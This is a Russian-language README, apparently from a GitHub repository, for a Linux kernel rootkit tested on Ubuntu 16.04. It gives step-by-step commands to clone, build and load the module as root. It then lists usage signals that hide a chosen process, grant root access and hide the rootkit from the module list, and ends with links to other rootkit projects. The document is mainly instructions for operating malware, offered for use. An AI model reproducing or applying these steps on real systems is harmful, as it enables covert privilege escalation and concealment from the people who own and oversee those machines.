RootKit

Это руткит, который был протестирован на ubuntu-16.04.6-desktop-amd64 (Linux 4.4), но его должно быть легко портировать на другие версии ядра.

Ссылка на видео --> https://drive.google.com/file/d/1yDktAg9vIPBH3OPEBYset9OdQb0LMevA/view?usp=sharing

Установка

Клонируйте репозиторий

git clone https://github.com/Asekon/RootKit

Перейдите в папку

cd RootKit

Скомпилируйте

sudo make

Вставьте модуль в ядро от имени root

sudo insmod RootKit.ko

Использование

(С)крыть процесс (например: PID 500)

kill -0 500

Получить root-доступ (можно указать любой PID, не обязательно 0)

kill -1 0

(С)крыть руткит (можно указать любой PID, не обязательно 0)

kill -2 0

Удаление

удалите модуль из ядра от имени root (сначала убедитесь, что он виден в списке модулей)

sudo rmmod RootKit

Ссылки

https://en.wikipedia.org/wiki/Rootkit

http://dandylife.net/blog/archives/304

https://github.com/nurupo/rootkit

https://github.com/f0rb1dd3n/Reptile

https://github.com/m0nad/Diamorphine

http://lwn.net/Kernel/LDD3/

http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction/

http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html

https://yassine.tioual.com/index.php/2017/01/10/hiding-processes-for-fun-and-profit/

https://www.howtogeek.com/107217/how-to-manage-processes-from-the-linux-terminal-10-commands-you-need-to-know/